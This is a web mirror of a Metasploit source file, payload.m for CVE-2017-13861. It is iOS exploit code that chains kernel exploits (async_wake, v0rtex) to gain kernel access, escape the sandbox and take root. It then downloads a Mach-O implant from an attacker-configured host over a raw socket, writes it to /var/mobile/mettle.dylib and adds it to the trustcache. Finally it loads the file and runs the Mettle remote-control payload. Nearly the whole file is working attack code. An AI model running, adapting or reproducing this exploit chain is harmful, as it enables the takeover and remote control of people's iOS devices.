CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2017-13861/payload.m
Views: 11780
1
#include <stdio.h>
2
#include <stdint.h>
3
#include <stdlib.h>
4
5
#include <mach/mach.h>
6
7
#import <Foundation/Foundation.h>
8
9
#import <dlfcn.h>
10
11
#include <mach-o/dyld.h>
12
13
#include <sys/socket.h>
14
#include <netinet/in.h>
15
#include <arpa/inet.h>
16
17
#include "magic.h"
18
#include "liboffsetfinder64/getoffsets.h"
19
#include "v0rtex.h"
20
#include "async_wake.h"
21
#include "kernel_utils.h"
22
#include "patchfinder64.h"
23
#include "trustcache.h"
24
#include "sandbox.h"
25
#include "kutils.h"
26
#include "kexecute.h"
27
#include "vnode_utils.h"
28
29
// Note: NSLog crashes for me on iOS 10
30
31
//#define DEBUG 1
32
#ifdef DEBUG
33
34
#define SLOG(msg, ...) \
35
do { \
36
if (getuid() == 0) { \
37
FILE* logfile = fopen("/var/mobile/log.txt", "a");\
38
fprintf(logfile,msg, __VA_ARGS__); \
39
fclose(logfile); \
40
} \
41
} while (0)
42
43
//#define LOG(msg) \
44
//NSLog(@msg); \
45
//fprintf(stderr, msg); \
46
//fflush(stderr);
47
48
#else
49
#define SLOG(msg, ...) {}
50
#endif
51
52
int download_payload(char* file_path, const char* config_placeholder)
53
{
54
unlink(file_path);
55
SLOG("%s", "Downloading payload\n");
56
57
const char* payload_url = "payload10";
58
if (kCFCoreFoundationVersionNumber >= 1443.00) {
59
payload_url = "payload11";
60
}
61
// Load the payload from server
62
int sockfd = 0;
63
struct sockaddr_in serv_addr;
64
char getpayload[100];
65
snprintf(getpayload, sizeof(getpayload), "GET /%s HTTP/1.1\r\n\r\n", payload_url);
66
const int chunk_size = 4096;
67
char* payload_buffer = malloc(chunk_size);
68
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
69
SLOG("%s", "Could not connect socket");
70
return -1;
71
}
72
73
serv_addr.sin_family = AF_INET;
74
serv_addr.sin_addr.s_addr = *(uint32_t*)config_placeholder;
75
serv_addr.sin_port = *(uint16_t*)(config_placeholder + 4);
76
77
SLOG("%s", "Connecting...\n");
78
if (connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
79
SLOG("%s", "Could not connect\n");
80
return -1;
81
}
82
send(sockfd, getpayload, strlen(getpayload), 0);
83
84
int payloadfd = open(file_path, O_WRONLY | O_CREAT, 0700);
85
int read_header = 0;
86
int n;
87
while ((n = read(sockfd, payload_buffer, chunk_size)) > 0) {
88
if (!read_header) {
89
char * payload_start = (char*)memmem((unsigned char*)payload_buffer, chunk_size, (unsigned char*)"\xcf\xfa\xed\xfe", 4);
90
write(payloadfd, payload_start, n - (payload_start - payload_buffer));
91
read_header = 1;
92
} else {
93
write(payloadfd, payload_buffer, n);
94
}
95
}
96
97
close(payloadfd);
98
close(sockfd);
99
free(payload_buffer);
100
return 0;
101
}
102
103
void fail(uint64_t x) {
104
*(volatile int*)(0xbad000000000ull + x) = 0xdead;
105
}
106
#define ASSERT(x) if (!(x))fail(0xa00000000ull + __LINE__)
107
108
int main() {
109
110
SLOG("%s", "Starting...\n");
111
112
mach_port_t tfp0 = MACH_PORT_NULL;
113
uint64_t kbase = 0;
114
kern_return_t ret = KERN_FAILURE;
115
116
if (kCFCoreFoundationVersionNumber >= 1443.00) {
117
ret = async_wake(&tfp0);
118
if (ret == KERN_SUCCESS && MACH_PORT_VALID(tfp0)) {
119
kbase = find_kernel_base();
120
SLOG("kbase %p", (void*)kbase);
121
}
122
} else {
123
offsets_t *off = get_offsets();
124
SLOG("%s", "Got offsets\n");
125
ret = v0rtex(off, &tfp0, &kbase);
126
}
127
128
if (ret != KERN_SUCCESS || !MACH_PORT_VALID(tfp0))
129
{
130
SLOG("%s", "exploit failed\n");
131
return -1;
132
} else {
133
SLOG("%s", "tfp0!\n");
134
}
135
136
SLOG("%s", "init!\n");
137
init_kernel_utils(tfp0, kbase);
138
InitPatchfinder(kbase, 0);
139
140
if (kCFCoreFoundationVersionNumber >= 1443.00) {
141
pid_t pid = getpid();
142
uint64_t sbcreds = unsandbox(pid);
143
rootify(pid);
144
SLOG("uid %d", getuid());
145
SLOG("creds %p", (void*)sbcreds);
146
147
}
148
149
const char config_placeholder[1024] = "PAYLOAD_URL";
150
char * file_path = "/var/mobile/mettle.dylib";
151
download_payload(file_path, config_placeholder);
152
153
SLOG("%s", "did init!\n");
154
int trustret = trust_bin(file_path);
155
SLOG("trust %d\n", trustret);
156
157
if (kCFCoreFoundationVersionNumber >= 1443.00) {
158
//fix for: kernel(Sandbox)[0] <Notice>: Sandbox: com.apple.WebKit(238) System Policy: deny(1) file-map-executable /private/var/mobile/mettle.dylib
159
init_Kernel_Execute();
160
fix_vnode_for_mmap(file_path);
161
}
162
163
void* mettle = dlopen(file_path, RTLD_NOW);
164
if (mettle) {
165
SLOG("%s", "got mettle!\n");
166
167
// Launch the payload
168
typedef int (*main_ptr)(int argc, const char *argv[]);
169
main_ptr main_func = dlsym(mettle, "main");
170
if (main_func) {
171
SLOG("%s", "got main_func!\n");
172
const char * progname = "mettle";
173
const char * arg1 = "-u";
174
const char * arg2 = config_placeholder+6;
175
const char *argv[] = { progname, arg1, arg2, NULL };
176
int mainret = main_func(3, argv);
177
SLOG("%s", "did run main_func!\n");
178
}
179
}
180
181
SLOG("%s", "exit!\n");
182
exit(0);
183
return 0;
184
}
185
186
uint64_t entry[] = { MAGIC, (uint64_t)&main };
187
188
189